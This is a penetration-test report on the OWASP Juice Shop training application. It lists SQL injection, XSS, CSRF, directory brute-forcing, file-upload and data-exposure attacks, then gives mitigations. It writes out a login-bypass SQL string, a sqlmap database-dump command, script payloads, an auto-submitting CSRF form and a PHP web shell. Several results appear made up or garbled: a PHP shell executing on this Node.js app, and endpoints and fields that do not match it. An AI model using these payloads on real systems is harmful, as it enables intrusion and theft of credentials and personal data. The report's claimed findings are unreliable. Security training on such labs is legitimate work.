Vulnerability Report on the Juice Shop Website

Objective:

The goal of this penetration test is to identify and exploit web vulnerabilities in the **Juice Shop** website, a deliberately insecure web application designed for security training. The purpose is to gain unauthorized access, retrieve sensitive data, and highlight security weaknesses to demonstrate how these attacks can be executed and prevented.

Tools Used:

- **Burp Suite**: For intercepting and manipulating web traffic.
- **OWASP Zap**: For automated vulnerability scanning.
- **SQLMap**: For SQL injection exploitation.
- **Dirbuster**: For directory brute-forcing.
- **Browser Developer Tools**: For manual testing and inspection.

Steps to Perform Web Attacks:

Step 1: Initial Reconnaissance

1. **Accessing the Website**: I accessed the Juice Shop website at http://<target_ip>:3000. The first step was to explore the various functionalities, such as login, product pages, search features, and customer reviews.
2. **Web Scanning Using OWASP Zap**: To discover potential vulnerabilities, I used OWASP Zap to scan the entire site for common web vulnerabilities:

zap-cli -p 3000 quick-scan http://<target_ip>:3000

The scan identified various vulnerabilities, such as:

    - **SQL Injection** in the search field and login form.
    - **Cross-Site Scripting (XSS)** in product reviews and feedback fields.
    - **Sensitive Data Exposure** in API responses.

3. **Burp Suite Interception**: I configured Burp Suite to intercept and modify web traffic, enabling me to manipulate requests sent to the server for manual testing of input fields, headers, and parameters.

Step 2: SQL Injection Attack

1. **Testing for SQL Injection on the Login Page**: The login form was tested for SQL injection by attempting to bypass authentication. By injecting a malicious SQL payload:

' OR 1=1; --

into the username or password fields, I was able to bypass the login and gain access to the admin account.

2. **Automated SQL Injection with SQLMap**: After confirming the SQL injection vulnerability, I used SQLMap to automate the exploitation process and retrieve sensitive data from the database, such as usernames, passwords, and credit card information.

sqlmap -u "http://<target_ip>:3000/login" --data="username=admin&password=admin" --dump

This dumped the database contents, including sensitive user information.

Step 3: Cross-Site Scripting (XSS) Attacks

1. **Stored XSS in Product Reviews**: The product review feature was vulnerable to stored XSS. I injected the following script into the review field:

<script>alert('XSS');</script>

When the review was displayed, the script executed and triggered an alert, confirming the presence of stored XSS.

2. **Reflected XSS in the Search Field**: The search bar was vulnerable to reflected XSS. By entering the following payload in the search field:

<script>alert('XSS in Search');</script>

The script was reflected back in the search results, causing an alert to pop up when the search results page was loaded.

Step 4: Directory Traversal Attack

1. **Directory Brute-Forcing Using Dirbuster**: I used Dirbuster to enumerate hidden directories and files on the server. This revealed sensitive files and directories such as /admin and /robots.txt that could be accessed without authentication.

dirbuster -u http://<target_ip>:3000 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

This scan exposed the /backup directory, which contained a database backup file that I could download and examine for sensitive data.

2. **Accessing the Admin Panel**: The /admin directory was accessible without authentication, allowing me to access administrative functionalities such as deleting users and viewing system logs.

Step 5: Cross-Site Request Forgery (CSRF) Attack

1. **Crafting a CSRF Attack**: The Juice Shop website was vulnerable to Cross-Site Request Forgery (CSRF). I crafted an HTML form that automatically submitted a request to change the email address of the logged-in user:

```
<form method="POST" action="http://<target_ip>:3000/my-account/change-email">
 <input type="hidden" name="email" value="attacker@example.com">
</form>
<script>
 document.forms[0].submit();
</script>
```

By tricking a logged-in user into visiting this page, their email address was changed without their consent.

Step 6: File Upload Vulnerability Exploit

1. **Exploiting File Upload Functionality**: The Juice Shop allowed users to upload profile pictures but failed to validate file types properly. I uploaded a PHP web shell disguised as an image:

```
<?php system($_GET['cmd']); ?>
```

After uploading the file, I accessed it via the URL /uploads/profile_pictures/webshell.php and used it to execute commands on the server, gaining shell access.

2. **Gaining System Access**: Through the web shell, I executed commands to explore the system and retrieve sensitive files, including /etc/passwd and other critical system information.

Step 7: Exploiting Sensitive Data Exposure

1. **API Exploitation**: I observed that Juice Shop's API responses contained sensitive information, including unencrypted user credentials and personal data. By capturing API traffic using Burp Suite, I intercepted the following API request:

GET /rest/user/details HTTP/1.1

Host: <target_ip>:3000

The API response contained full user information, including email addresses and password hashes, exposing sensitive data.

2. **Session Hijacking**: The application did not properly secure session cookies, allowing me to hijack a user session by stealing cookies via XSS and replaying them to gain unauthorized access to other accounts.

Step 8: Mitigation and Recommendations

Based on the vulnerabilities identified in the Juice Shop, the following recommendations are provided to prevent similar attacks:

1. **Input Validation**:
    - Implement proper input validation and output encoding to prevent SQL injection and XSS attacks.
    - Use prepared statements with parameterized queries to avoid SQL injection.
2. **Authentication and Access Control**:
    - Implement multi-factor authentication (MFA) and session expiration for sensitive actions such as login and admin panel access.
    - Protect sensitive directories and resources with proper access controls.
3. **File Upload Validation**:
    - Validate file uploads to ensure that only allowed file types are accepted.
    - Sanitize and secure file storage locations to prevent the execution of malicious scripts.
4. **Cross-Site Request Forgery (CSRF) Protection**:
    - Implement CSRF tokens to prevent unauthorized requests from being submitted on behalf of the user.

5. **Secure API Responses**:
    - Ensure that sensitive data such as passwords and personal information are encrypted both in transit and at rest.
    - Limit the exposure of sensitive information in API responses.

Conclusion:

The Juice Shop web application contains several common web vulnerabilities that can be exploited to gain unauthorized access, manipulate data, and compromise user security. By implementing secure coding practices and defensive measures such as input validation, proper authentication, and file upload validation, the security of the Juice Shop application can be significantly improved.